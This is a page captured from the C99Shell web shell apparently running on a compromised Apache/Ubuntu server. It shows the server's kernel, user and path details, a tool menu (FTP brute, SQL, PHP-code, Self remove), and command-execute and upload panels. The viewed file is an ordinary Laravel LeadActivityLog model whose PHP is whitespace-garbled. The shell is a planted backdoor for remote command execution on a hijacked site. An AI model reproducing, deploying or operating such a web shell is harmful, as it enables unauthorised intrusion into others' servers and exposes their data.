!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/app/Models/   drwxrwxr-x
Free 12.96 GB of 57.97 GB (22.35%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     LeadActivityLog.php (2.62 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Models;

use 
Illuminate\Database\Eloquent\Model;

class 
LeadActivityLog extends Model
{
    protected 
$fillable = [
        
'user_id',
        
'lead_id',
        
'log_type',
        
'remark',
    ];

    public function 
user()
    {
        return 
$this->hasOne('App\Models\User''id''user_id');
    }

    public function 
getLeadRemark()
    {
        
$remark json_decode($this->remarktrue);
        if(
$remark)
        {
            
$user $this->user;

            if(
$user)
            {
                
$user_name $user->name;
            }
            else
            {
                
$user_name '';
            }

            if(
$this->log_type == 'Upload File')
            {
                return 
$user_name ' ' __('Upload new file') . ' <b>' $remark['file_name'] . '</b>';
            }
            elseif(
$this->log_type == 'Add Product')
            {
                return 
$user_name ' ' __('Add new Products') . " <b>" $remark['title'] . "</b>";
            }
            elseif(
$this->log_type == 'Update Sources')
            {
                return 
$user_name ' ' __('Update Sources');
            }
            elseif(
$this->log_type == 'Create Lead Call')
            {
                return 
$user_name ' ' __('Create new Lead Call');
            }
            elseif(
$this->log_type == 'Create Lead Email')
            {
                return 
$user_name ' ' __('Create new Lead Email');
            }
            elseif(
$this->log_type == 'Move')
            {
                return 
$user_name " " __('Moved the deal') . " <b>" $remark['title'] . "</b> " __('from') . " " __(ucwords($remark['old_status'])) . " " __('to') . " " __(ucwords($remark['new_status']));
            }
        }
        else
        {
            return 
$this->remark;
        }
    }

    public function 
logIcon()
    {
        
$type $this->log_type;
        
$icon '';

        if(!empty(
$type))
        {
            if(
$type == 'Move')
            {
                
$icon 'ti-arrows-maximize';
            }
            elseif(
$type == 'Add Product')
            {
                
$icon 'fa-dolly';
            }
            elseif(
$type == 'Upload File')
            {
                
$icon 'fa-file-alt';
            }
            elseif(
$type == 'Update Sources')
            {
                
$icon 'fa-pen';
            }
            elseif(
$type == 'Create Lead Call')
            {
                
$icon 'fa-phone';
            }
            elseif(
$type == 'Create Lead Email')
            {
                
$icon 'fa-envelope';
            }
        }

        return 
$icon;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0205 ]--